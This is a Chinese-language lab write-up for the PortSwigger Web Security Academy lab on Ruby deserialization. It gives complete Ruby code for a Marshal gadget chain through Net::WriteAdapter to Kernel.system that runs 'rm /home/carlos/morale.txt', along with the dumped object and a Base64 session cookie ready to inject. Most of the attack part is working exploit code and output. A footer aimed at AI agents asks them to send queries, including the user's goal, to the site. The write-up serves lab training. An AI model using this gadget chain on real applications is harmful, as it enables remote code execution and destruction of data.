> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md).

# 使用已记录小工具的 Ruby 反序列化

使用已记录小工具的 Ruby 反序列化，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 利用已文档化的 Gadget 链进行 Ruby 反序列化利用

**实验背景**

本实验使用一种基于序列化的会话机制，并基于 **Ruby on Rails** 框架。/ 存在公开文档记录的\*\* gadget，可通过其实现 \*\* 远程代码执行 (NCE)\*\* via `Marshal`.

目标：/ 创建一个恶意序列化对象，注入到会话 cookie 中并删除文件：

```bash
/home/carlos/morale.txt
```

提供的标识符：

wiener : peter

**会话分析**

身份验证后，服务器会以 Base64 形式提供一个序列化的会话 cookie：

{% code overflow="wrap" %}

```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```

{% endcode %}

这清楚地表明服务器端使用了 `Marshal.dump` 。

使用了基于以下 Ruby 类的已文档化 gadget 字符串：

* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`

该字符串会触发对以下方法的调用： `Kernel.system`.

**Ruby 载荷构造**

下面的代码用于创建一个运行目标命令的序列化对象：

```ruby
# 自动加载所需类
Gem::SpecFetcher
Gem::Installer

# 防止在 Marshal.dump 时载荷运行
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```

```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI"rm /home/carlos/morale.txt;
T;:
resolve
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-658f72939e40860c50c28c0289e10a497f1459e4%2F%7B521CCAD3-2CAC-4E01-B1CD-107268C319DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Base64 编码**

为了将载荷注入会话 cookie，需要将其编码为 Base64：

```java
puts Base64.encode64(payload)
```

最终得到的链：

{% code overflow="wrap" %}

```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de57fa4300c36198a97dc70a8d16a8e806842c50%2F%7BC67DD4CD-F48D-4BE1-9FB2-B91DFDF214BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
